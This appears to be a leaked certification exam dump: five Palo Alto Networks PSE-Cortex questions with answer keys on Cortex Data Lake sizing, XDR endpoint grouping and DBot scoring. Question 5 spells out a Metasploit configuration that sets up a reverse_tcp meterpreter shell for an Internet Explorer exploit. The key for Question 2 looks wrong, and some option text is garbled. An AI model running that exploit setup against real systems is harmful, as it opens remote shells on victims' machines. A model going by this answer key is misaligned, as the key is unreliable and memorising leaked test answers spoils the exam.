

PSE-CORTEX^{Q&As}

Palo Alto Networks System Engineer - Cortex Professional

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QUESTION 1

What is the retention requirement for Cortex Data Lake sizing?

- A. number of endpoints
- B. number of VM-Series NGFW
- C. number of days
- D. logs per second

Correct Answer: C

<https://docs.paloaltonetworks.com/cortex/cortex-data-lake/cortex-data-lake-getting-started/get-started-with-cortex-data-lake/set-log-storage-quota>

QUESTION 2

In Cortex XDR Prevent, which three matching criteria can be used to dynamically group endpoints? (Choose three)

- A. alert root cause
- B. hostname
- C. domain/workgroup membership
- D. OS
- E. presence of Flash executable

Correct Answer: ACE

QUESTION 3

Which process in the causality chain does the Cortex XDR agent identify as triggering an event sequence?

- A. the relevant shell
- B. The causality group owner
- C. the adversary's remote process
- D. the chain's alert initiator

Correct Answer: B

QUESTION 4

How does DBot score an indicator that has multiple reputation scores?

- A. uses the most severe score scores
- B. the reputation as undefined
- C. uses the average score
- D. uses the least severe score

Correct Answer: A

QUESTION 5

A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been selected and a module in Metasploit has been identified (exploit/windows/browser/ms16_051_vbscript)

The description and current configuration of the exploit are as follows;

```
msf exploit(ms16_051_vbscript) > show options

Module options (exploit/windows/browser/ms16_051_vbscript):
```

Name	Current Setting	Required	Description
SRVHOST	10.0.0.10	Yes	The local host to listen on.
SRVPORT	80	Yes	The local port to listen on.
SSL	false	No	Negotiate SSL for incoming connections
SSLCert		No	Path to a custom SSL certificate (default is randomly generated)
URIPATH		No	The URI to use for this exploit (default is random)

The admin needs to perform the following steps:

- Configure a reverse_tcp meterpreter payload
- Set up the meterpreter payload to listen in IP 10.0.0.10
- Set up the meterpreter payload to listen in port 443
- Configure the URL to listen in a path with name "survey"

What is the remaining configuration?

- A. set PAYLOAD windows/x64/meterpreter/reverse_tcp set SSLCert survey set LHOST 10.0.0.10
set LPORT 8080
- B. set PAYLOAD windows/x64/powershell_bind_tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH survey
- C. set PAYLOAD windows/x64/meterpreter/reverse_Tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH survey

D. set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.10 set LPORT 443 set URIPATH survey

Correct Answer: D

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